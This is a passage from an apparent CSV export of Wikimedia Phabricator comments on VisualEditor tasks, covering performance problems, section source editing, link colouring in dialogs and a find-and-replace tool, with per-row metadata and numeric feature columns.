Yes, one of the problems is that VE being slow is rather more noticeable than MW being slow (because ""it's a website"" and so triggers different time response expectations in users). :-(",,,1371496866,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,0.0,0.0,8.0,6.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,12.0,4.0,2.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,0.0,2.0,13.0,6.0,0.0,4.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,3.6153846153846154,0.8461538461538461,"(In reply to comment #3)
QUOTE
QUOTE

Yes, one of the problems is that VE being slow is rather more noticeable than MW being slow (because ""it's a website"" and so triggers different time response expectations in users). :-("
243969,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],It may also be worth noting that this page takes ~30 seconds in my use to save when using the ordinary source wikitext editor - it's a complex page!,,,1371495878,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,10.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,3.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,23.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,6.0,0.0,10.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,3.0,0.0,6.0,0.0,0.0,0.0,3.870967741935484,0.967741935483871,It may also be worth noting that this page takes ~30 seconds in my use to save when using the ordinary source wikitext editor - it's a complex page!
243965,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"Listing the issues so it's clear what we mean by ""performance issues"" and their different causes and artefacts:

* [network] VE slow to load own JS - mostly provided by ResourceLoader and local cacheing so this would only be a slowness once per user's browser (assuming they don't clear their local cache); we could pre-load VE JS for all users on read, which would reduce load times when people press edit slightly, but that is evil

* [network] VE slow to fetch HTML from Parsoid - mostly fixed due to highly-aggressive caching at our cluster (the payload is slightly smaller in byte size than the read page fetch, i.e. not significant)

* [client] VE slow to render Parsoid HTML into an editable document - we're working on this (profiling etc.), but there's a tension between editability and simplicity of data structure. :-)

* [client] VE slow to respond to user action - same as above; this is the core ""performance"" area for VE itself, of course

* [server] VE slow to get a wikitext diff - this relies on two operations; a Parsoid serialise and an MW wikitext diff: we can work with Parsoid on that being faster, but there's a limit; theoretically we could pre-serialise as we go (but eww network traffic and load on the servers)

* [server] VE slow to save edit - this is essentially the same performance issue as getting the wikitext diff, above; theoretically we could optimise by saving the output of the serialise from a wikitext diff, but this won't be triggered for most users, so it's of marginal utility",,,1371495451,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,True,,,-2,,0.25,0.0,0.25,0.25,0.75,4.25,1.25,0.0,0.0,0.0,1.25,0.75,0.0,0.75,0.5,2.25,0.0,4.5,10.25,0.0,1.5,0.0,0.0,0.0,0.0,0.75,0.0,0.5,1.0,0.5,0.0,5.5,0.5,0.75,0.0,0.0,0.0,0.25,0.25,0.0,0.0,0.75,0.25,2.0,0.0,0.25,0.0,0.0,0.0,14.0,2.0,0.0,0.25,0.25,0.0,0.0,0.0,0.0,0.25,0.25,0.0,0.75,0.0,0.25,0.25,0.0,0.0,4.75,1.75,4.75,1.0,3.0,7.25,0.0,0.25,0.0,0.0,4.5,0.0,0.25,0.0,3.75,10.25,5.0,0.0,1.0,0.0,3.75,0.0,0.75,2.0,0.25,1.25,0.5,0.25,3.25,3.8326843961210697,0.7536732295033794,"Listing the issues so it's clear what we mean by ""performance issues"" and their different causes and artefacts:

* [network] VE slow to load own JS - mostly provided by ResourceLoader and local cacheing so this would only be a slowness once per user's browser (assuming they don't clear their local cache); we could pre-load VE JS for all users on read, which would reduce load times when people press edit slightly, but that is evil

* [network] VE slow to fetch HTML from Parsoid - mostly fixed due to highly-aggressive caching at our cluster (the payload is slightly smaller in byte size than the read page fetch, i.e. not significant)

* [client] VE slow to render Parsoid HTML into an editable document - we're working on this (profiling etc.), but there's a tension between editability and simplicity of data structure. :-)

* [client] VE slow to respond to user action - same as above; this is the core ""performance"" area for VE itself, of course

* [server] VE slow to get a wikitext diff - this relies on two operations; a Parsoid serialise and an MW wikitext diff: we can work with Parsoid on that being faster, but there's a limit; theoretically we could pre-serialise as we go (but eww network traffic and load on the servers)

* [server] VE slow to save edit - this is essentially the same performance issue as getting the wikitext diff, above; theoretically we could optimise by saving the output of the serialise from a wikitext diff, but this won't be triggered for most users, so it's of marginal utility"
243960,[DO NOT USE] VisualEditor: Performance issues (tracker) [superseded by #VisualEditor-Performance],"Specifically, 8Mbit ADSL through Zen. Most of the slowness appears to be thinking - I could hear my laptop's CPU fan speed up.",,,1371470989,,PHID-USER-gfaq55vdypjmzz6nl2kn,False,,,PHID-TASK-bzxuqebvczsa3yqj6fmu,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,15.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,7.0,15.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,3.8518518518518516,0.9629629629629629,"Specifically, 8Mbit ADSL through Zen. Most of the slowness appears to be thinking - I could hear my laptop's CPU fan speed up."
51665,VisualEditor: Provide a get-me-into-the-wikitext-editor link on every header inside the VisualEditor,"From [[https://phabricator.wikimedia.org/T50429#518092|a comment]] on T50429.

>It would be wonderful if the ""edit source"" links or icons for sections also showed up inside the Visual Editor. The Visual Editor could treat ""edit source"" links or icons as uneditable links. But the link would still work. So people could click ""edit source"" links or icons to open source editing of a section. 
>
> People could go to source mode editing at anytime, even from inside the VisualEditor. That would be so convenient and so useful. Later on, this functionality could be extended to anything the VisualEditor can't edit. People could click on templates, tables, etc. inside the VisualEditor and go directly to source mode editing of that section. Or they could right-click templates, tables, etc. to go to a new tab in source mode for that section.

**See also:**
T50429
T51664
T49779",Lowest,10.0,1371430140,,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-cafdsbi6thmpaj3iik3u,task_description,open,True,c1,2,True,False,,-2,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.793103448275862,0.5862068965517241,"From [[URL comment]] on T50429.

QUOTE
QUOTE
QUOTE

**See also:**
T50429
T51664
T49779"
558136,VisualEditor: Provide a get-me-into-the-wikitext-editor link on every header inside the VisualEditor,Is this still relevant now that {T49779} is resolved?,,,1446661434,,PHID-USER-uf3buojo4ceizjywvyn5,True,,,PHID-TASK-cafdsbi6thmpaj3iik3u,task_subcomment,,True,c1,3,False,,,122,,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,17.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,1.0,Is this still relevant now that {T49779} is resolved?
51664,"VisualEditor: Switching to ""edit source"" tab within VE triggered via section-edit should be a wikitext section edit","[From bug 48429 comment 20.]

Switching to ""edit source"" tab when VE was triggered via a section-edit link should enter the wikitext editor for that section, rather than the entire page.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=48429
https://bugzilla.wikimedia.org/show_bug.cgi?id=49665",Lowest,10.0,1371429960,1372279963.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-4qp7cge7h2tflfmzkmov,task_description,invalid,True,c1,2,True,False,True,-2,,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,4.0,1.0,13.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,7.0,3.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,0.0,0.0,1.0,3.591549295774648,0.6619718309859155,"[From bug 48429 comment 20.]

Switching to ""edit source"" tab when VE was triggered via a section-edit link should enter the wikitext editor for that section, rather than the entire page.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL
URL"
242770,"VisualEditor: Switching to ""edit source"" tab within VE triggered via section-edit should be a wikitext section edit","In the end we went with bug 49666, which is now done (code to be deployed this afternoon). As discussed above (and I agree), changing behaviour between wikitext section edit behaviour as currently is and the way it works post-VE roll-out - but only on VE-enable-able pages (i.e., not talk pages/etc.) would be complicated and not add value to users.

Consequently, closing this as INVALID.",,,1372279963,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4qp7cge7h2tflfmzkmov,task_subcomment,,True,c1,2,True,,,-1,,0.0,0.0,0.0,3.0,2.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,1.0,0.0,2.0,0.0,9.0,10.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,4.0,0.0,1.0,2.0,0.0,0.0,1.0,1.0,1.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,2.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,8.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,1.0,0.0,3.0,10.0,1.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,3.0,3.6222222222222222,0.7111111111111111,"In the end we went with bug 49666, which is now done (code to be deployed this afternoon). As discussed above (and I agree), changing behaviour between wikitext section edit behaviour as currently is and the way it works post-VE roll-out - but only on VE-enable-able pages (i.e., not talk pages/etc.) would be complicated and not add value to users.

Consequently, closing this as INVALID."
242765,"VisualEditor: Switching to ""edit source"" tab within VE triggered via section-edit should be a wikitext section edit","Bug 49665 may be another solution: ""VisualEditor: Provide a get-me-into-the-wikitext-editor link on every header"". 

It looks like there will be an ""edit"" link and ""edit source"" link (or icon) on every header.See bug 49666.

If the header ""edit source"" links (or icons) remain clickable (and/or right-clickable) from within VE, then that would be a solution for getting into the source editor for sections.",,,1371649103,,PHID-USER-ebwxbdwkoxprr4cvvjvy,True,,,PHID-TASK-4qp7cge7h2tflfmzkmov,task_subcomment,,True,c1,2,False,,,-2,,2.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,1.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,2.0,1.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,20.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,7.0,1.0,4.0,10.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,2.0,10.0,2.0,0.0,8.0,0.0,2.0,0.0,0.0,3.0,1.0,1.0,0.0,0.0,0.0,3.484848484848485,0.5757575757575758,"Bug 49665 may be another solution: ""VisualEditor: Provide a get-me-into-the-wikitext-editor link on every header"". 

It looks like there will be an ""edit"" link and ""edit source"" link (or icon) on every header.See bug 49666.

If the header ""edit source"" links (or icons) remain clickable (and/or right-clickable) from within VE, then that would be a solution for getting into the source editor for sections."
242758,"VisualEditor: Switching to ""edit source"" tab within VE triggered via section-edit should be a wikitext section edit","(In reply to comment #3)
> (In reply to comment #2)
> > ""Edit Source"" never even existed before Visual Editor
> 
> Not even remotely true. The ""Edit Source"" tab is the relabelling of the
> regular
> ""Edit"" tab.
> 
> I'm minded to agree with This, that and the other, but willing to be
> convinced.

I see now what you mean, but my point still stands: ""edit source"" is not something that warrants use of the word ""always"", as it's completely new, introduced with visual editor... there was no ""edit source"" anywhere before VE.
for all i care, we do not even need ""edit source"" on the page when reading it, ""Edit"" is enough, as long as there *is* ""edit source"" once VE fires up. as to what should be the action of this ""edit source"", i believe it should put you in the same spot you would have been if VE was not enabled. in the case you entered edit state through an editsection linkette, this means edit section.

however, it is possible in this case to eat the cake and have it too, by rephrasing the original ticket, so let me try to do this:

====== ORIGINAL TICKET REPHRASING ===========
When the user press the editsection linkette and VE is enabled, a new top menu item should be generated: ""Edit section source"", next to ""Edit source"". pressing this menu item is equivalent to pressing the editsection link when VE is disabled.

Not allowing this functionality basically means that there is no way to execute section edit of wikitext if VE is enabled, which, IMO, is a serious regression.
(alternatively, pressing the ""edit source"" linkette should open a dialog asking if the user wants to edit the whole article or just the section).
============== END REPHRASING ===============

peace.",,,1371594513,,PHID-USER-akv4ingxkspiiam6r2n4,True,,,PHID-TASK-4qp7cge7h2tflfmzkmov,task_subcomment,,True,c1,2,False,,,-2,,0.25,0.25,0.25,1.25,1.0,3.25,1.75,0.0,0.0,0.75,2.5,0.0,0.0,0.0,0.75,1.5,0.75,5.25,7.5,0.25,1.25,1.0,0.25,0.25,0.75,0.0,0.0,0.0,0.0,0.25,0.25,5.25,1.25,1.25,0.75,1.0,0.0,0.25,0.5,0.5,0.25,0.0,0.5,2.5,0.0,1.0,0.0,0.0,0.25,23.25,0.75,1.0,0.0,0.25,0.0,0.0,0.0,0.25,0.0,0.5,0.5,0.5,0.0,0.25,0.25,0.25,0.0,4.5,3.75,7.0,2.0,1.25,7.25,0.0,0.0,0.0,0.25,3.5,0.0,0.25,0.0,4.5,7.5,4.75,0.0,5.0,0.0,4.5,0.0,1.75,1.0,0.25,2.0,0.0,0.0,0.0,3.2898936170212765,0.5877659574468085,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

I see now what you mean, but my point still stands: ""edit source"" is not something that warrants use of the word ""always"", as it's completely new, introduced with visual editor... there was no ""edit source"" anywhere before VE.
for all i care, we do not even need ""edit source"" on the page when reading it, ""Edit"" is enough, as long as there *is* ""edit source"" once VE fires up. as to what should be the action of this ""edit source"", i believe it should put you in the same spot you would have been if VE was not enabled. in the case you entered edit state through an editsection linkette, this means edit section.

however, it is possible in this case to eat the cake and have it too, by rephrasing the original ticket, so let me try to do this:

====== ORIGINAL TICKET REPHRASING ===========
When the user press the editsection linkette and VE is enabled, a new top menu item should be generated: ""Edit section source"", next to ""Edit source"". pressing this menu item is equivalent to pressing the editsection link when VE is disabled.

Not allowing this functionality basically means that there is no way to execute section edit of wikitext if VE is enabled, which, IMO, is a serious regression.
(alternatively, pressing the ""edit source"" linkette should open a dialog asking if the user wants to edit the whole article or just the section).
============== END REPHRASING ===============

peace."
242750,"VisualEditor: Switching to ""edit source"" tab within VE triggered via section-edit should be a wikitext section edit","(In reply to comment #2)
> ""Edit Source"" never even existed before Visual Editor

Not even remotely true. The ""Edit Source"" tab is the relabelling of the regular ""Edit"" tab.

I'm minded to agree with This, that and the other, but willing to be convinced.",,,1371582534,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-4qp7cge7h2tflfmzkmov,task_subcomment,,True,c1,2,True,,,-2,,0.0,0.0,0.0,2.0,2.0,9.0,2.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,6.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,17.0,0.0,4.0,9.0,0.0,0.0,0.0,2.0,6.0,0.0,2.0,0.0,2.0,11.0,6.0,0.0,8.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2264150943396226,0.7547169811320755,"(In reply to comment #2)
QUOTE

Not even remotely true. The ""Edit Source"" tab is the relabelling of the regular ""Edit"" tab.

I'm minded to agree with This, that and the other, but willing to be convinced."
242742,"VisualEditor: Switching to ""edit source"" tab within VE triggered via section-edit should be a wikitext section edit","(In reply to comment #1)
> This behavior would be confusing and would break the consistency of the ""edit
> source"" tab always going to the whole-page editor. 

forgive my bluntness, but this is plain silly.
what do you mean ""source tab always going to the whole page""? we are not discussing ""View Source"" tab, we are discussing ""Edit Source"" tab, which is something completely different.
""Edit Source"" never even existed before Visual Editor and the reference to ""always"" does not make any sense: this project is slowly making its way from alpha to beta, and there is no ""backward compatibility"" or past behavior this thing should feel obliged to.

peace.",,,1371581100,,PHID-USER-akv4ingxkspiiam6r2n4,True,,,PHID-TASK-4qp7cge7h2tflfmzkmov,task_subcomment,,True,c1,2,False,,,-2,,1.0,0.5,1.0,0.0,1.5,3.5,0.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,1.5,1.0,6.5,5.5,0.5,1.5,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,2.0,1.0,1.0,0.5,0.0,0.5,1.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,11.0,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,1.5,3.5,7.0,0.0,3.0,5.5,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.0,3.0,5.5,6.0,0.5,8.0,0.0,3.0,0.0,1.0,0.0,0.0,2.5,0.0,0.0,0.0,3.7219945355191255,0.7524590163934426,"(In reply to comment #1)
QUOTE
QUOTE

forgive my bluntness, but this is plain silly.
what do you mean ""source tab always going to the whole page""? we are not discussing ""View Source"" tab, we are discussing ""Edit Source"" tab, which is something completely different.
""Edit Source"" never even existed before Visual Editor and the reference to ""always"" does not make any sense: this project is slowly making its way from alpha to beta, and there is no ""backward compatibility"" or past behavior this thing should feel obliged to.

peace."
242734,"VisualEditor: Switching to ""edit source"" tab within VE triggered via section-edit should be a wikitext section edit","This behavior would be confusing and would break the consistency of the ""edit source"" tab always going to the whole-page editor. 

Perhaps displaying the UI of bug 49666 while in VE edit mode would be a better solution to this. I'd be interested to see the resolution of bug 47779 first though.",,,1371521502,,PHID-USER-sx63fwaih5kjt7bz4u6z,True,,,PHID-TASK-4qp7cge7h2tflfmzkmov,task_subcomment,,True,c1,2,False,,,-2,,0.0,0.0,0.0,0.0,0.0,7.0,5.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,2.0,7.0,13.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,18.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,8.0,2.0,2.0,13.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,2.0,13.0,3.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,0.0,3.0,2.0,0.0,0.0,3.9836065573770494,0.7213114754098361,"This behavior would be confusing and would break the consistency of the ""edit source"" tab always going to the whole-page editor. 

Perhaps displaying the UI of bug 49666 while in VE edit mode would be a better solution to this. I'd be interested to see the resolution of bug 47779 first though."
50984,VisualEditor: Links to new pages inside templates are coloured red in the content but not a dialog iframe,"These links being red at all come about because content of templates is rendered by the PHP parser, which sets class=""new"" (Parsoid itself doesn't hint about target colour yet). However, because dialogs are implemented as <iframe>s, we can't inherit MW's CSS for the body element, so they appear differently.

--------------------------
**Version**: unspecified
**Severity**: minor",Lowest,10.0,1369932240,1399324316.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-yevsvpn7ps2wcpzwmbie,task_description,resolved,True,c1,1,True,False,False,-5,,1.0,0.0,0.0,2.0,2.0,2.0,1.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,10.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,0.0,1.0,0.0,4.0,1.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,10.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,11.0,7.0,0.0,1.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,1.0,4.036585365853658,0.7926829268292683,"These links being red at all come about because content of templates is rendered by the PHP parser, which sets class=""new"" (Parsoid itself doesn't hint about target colour yet). However, because dialogs are implemented as <iframe>s, we can't inherit MW's CSS for the body element, so they appear differently.

--------------------------
**Version**: unspecified
**Severity**: minor"
232096,VisualEditor: Links to new pages inside templates are coloured red in the content but not a dialog iframe,Now fixed as of last month.,,,1399324316,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-yevsvpn7ps2wcpzwmbie,task_subcomment,,True,c1,3,True,,,44,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.142857142857143,1.0,Now fixed as of last month.
50368,Implement a find/search and replace tool,"There's a search-and-replace tool in the wikiEditor which some users might miss and would like in VisualEditor somehow.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Lowest,10.0,1368321420,1417729605.0,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_description,resolved,True,c1,1,True,True,False,-8,,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,10.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,4.261904761904762,0.7142857142857143,"There's a search-and-replace tool in the wikiEditor which some users might miss and would like in VisualEditor somehow.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
335949,Implement a find/search and replace tool,"Change 174491 merged by jenkins-bot:
Find and replace

[[https://gerrit.wikimedia.org/r/174491]]",,,1417631052,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,False,,,74,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.5,0.8888888888888888,"Change 174491 merged by jenkins-bot:
Find and replace

[[GERRIT_URL]]"
332396,Implement a find/search and replace tool,Same. See the commit above.,,,1416824888,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-l5y2bm67zzyyrk4uvrke,task_subcomment,,True,c1,3,True,,,73,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,29.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2857142857142856,0.8571428571428571,Same. See the commit above.
332334,Implement a find/search and replace tool,">>! In T50368#776888, @Esanders wrote:
> For now I think the tool can go in the hamburger menu on the right.

